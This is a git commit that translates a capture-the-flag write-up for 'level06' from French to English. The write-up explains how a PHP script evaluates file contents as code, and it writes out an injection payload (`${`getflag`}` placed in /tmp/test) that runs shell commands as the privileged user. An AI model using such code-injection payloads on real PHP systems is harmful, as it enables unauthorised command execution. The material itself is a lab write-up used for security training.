docs(lvl06): adding the english readme
This commit is contained in:
parent
211fb0eb88
commit
3fbe387519
1 changed files with 8 additions and 8 deletions
|
|
@ -1,4 +1,4 @@
|
|||
Lors de mon arriver sur le niveau 6 je remarque que j'ai 2 fichiers qui sont accessible
|
||||
When arriving on level06 I notice that I have 2 files that are accessible.
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
|
|
@ -7,13 +7,13 @@ total 12
|
|||
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
|
||||
```
|
||||
|
||||
Le fichier est disponibles dans ./ressources/level06.php (sinon c'etait en oneline moins lisible)
|
||||
The file is available in ./ressources/level06.php (otherwise it was in one line less readable).
|
||||
|
||||
Une fois la lecture du script effectue nous pouvons en comprendre que ce program fait:
|
||||
- Lis le fichier passer en arguements
|
||||
- Il interprete des commandes comme des variables php
|
||||
Once the reading of the script is done we can understand that this program does:
|
||||
- Reads the file passed as argument
|
||||
- It interprets commands like php variables
|
||||
|
||||
Ce qui fait que c'est assez interessant pour nous:
|
||||
Which makes that it is quite interesting for us:
|
||||
|
||||
```bash
|
||||
echo -e "[x \${\`echo coucou\`}]" > /tmp/test
|
||||
|
|
@ -22,9 +22,9 @@ PHP Notice: Undefined variable: coucou
|
|||
in /home/user/level06/level06.php(4) : regexp code on line 1
|
||||
```
|
||||
|
||||
Nous pouvous voir que la resultat de la commande nous est afficher en temps qu'erreur en nous disant que elle n'est pas definis
|
||||
We can see that the result of the command is displayed to us as an error by telling us that it is not defined.
|
||||
|
||||
Je peux donc je peux donc faire la meme chose mais avec getflag
|
||||
I can therefore I can therefore do the same thing but with getflag.
|
||||
|
||||
```bash
|
||||
echo -e "[x \${\`getflag\`}]" > /tmp/test
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue